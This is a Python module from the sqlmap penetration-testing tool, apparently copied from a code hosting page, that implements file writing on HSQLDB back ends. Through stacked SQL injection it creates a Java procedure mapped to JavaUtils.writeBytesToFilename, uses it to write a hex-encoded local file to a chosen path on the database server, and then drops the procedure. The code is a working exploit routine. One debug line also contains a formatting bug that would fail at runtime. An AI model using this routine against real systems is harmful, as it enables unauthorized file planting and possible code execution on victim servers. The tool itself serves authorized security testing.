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60 lines
2.4 KiB
Python
60 lines
2.4 KiB
Python
#!/usr/bin/env python
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"""
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Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
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See the file 'LICENSE' for copying permission
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"""
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from lib.core.common import randomStr
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from lib.core.data import kb
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from lib.core.data import logger
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from lib.core.decorators import stackedmethod
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from lib.core.enums import PLACE
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from lib.request import inject
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from lib.core.exception import SqlmapUnsupportedFeatureException
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from plugins.generic.filesystem import Filesystem as GenericFilesystem
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class Filesystem(GenericFilesystem):
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def readFile(self, remoteFile):
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errMsg = "on HSQLDB it is not possible to read files"
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raise SqlmapUnsupportedFeatureException(errMsg)
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@stackedmethod
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def stackedWriteFile(self, localFile, remoteFile, fileType=None, forceCheck=False):
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funcName = randomStr()
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max_bytes = 1024 * 1024
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debugMsg = "creating JLP procedure '%s'" % funcName
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logger.debug(debugMsg)
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addFuncQuery = "CREATE PROCEDURE %s (IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(%s)) " % (funcName, max_bytes)
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addFuncQuery += "LANGUAGE JAVA DETERMINISTIC NO SQL "
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addFuncQuery += "EXTERNAL NAME 'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'"
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inject.goStacked(addFuncQuery)
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fcEncodedList = self.fileEncode(localFile, "hex", True)
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fcEncodedStr = fcEncodedList[0][2:]
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fcEncodedStrLen = len(fcEncodedStr)
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if kb.injection.place == PLACE.GET and fcEncodedStrLen > 8000:
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warnMsg = "as the injection is on a GET parameter and the file "
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warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen
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warnMsg += "bytes, this might cause errors in the file "
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warnMsg += "writing process"
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logger.warn(warnMsg)
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debugMsg = "exporting the %s file content to file '%s'" % (fileType, remoteFile)
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logger.debug(debugMsg)
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# Reference: http://hsqldb.org/doc/guide/sqlroutines-chapt.html#src_jrt_procedures
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invokeQuery = "CALL %s('%s', CAST('%s' AS VARBINARY(%s)))" % (funcName, remoteFile, fcEncodedStr, max_bytes)
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inject.goStacked(invokeQuery)
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logger.debug("cleaning up" % funcName)
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delQuery = "DELETE PROCEDURE %s" % funcName
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inject.goStacked(delQuery)
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message = "the local file '%s' has been written on the back-end DBMS" % localFile
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message += "file system ('%s')" % remoteFile
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logger.info(message)
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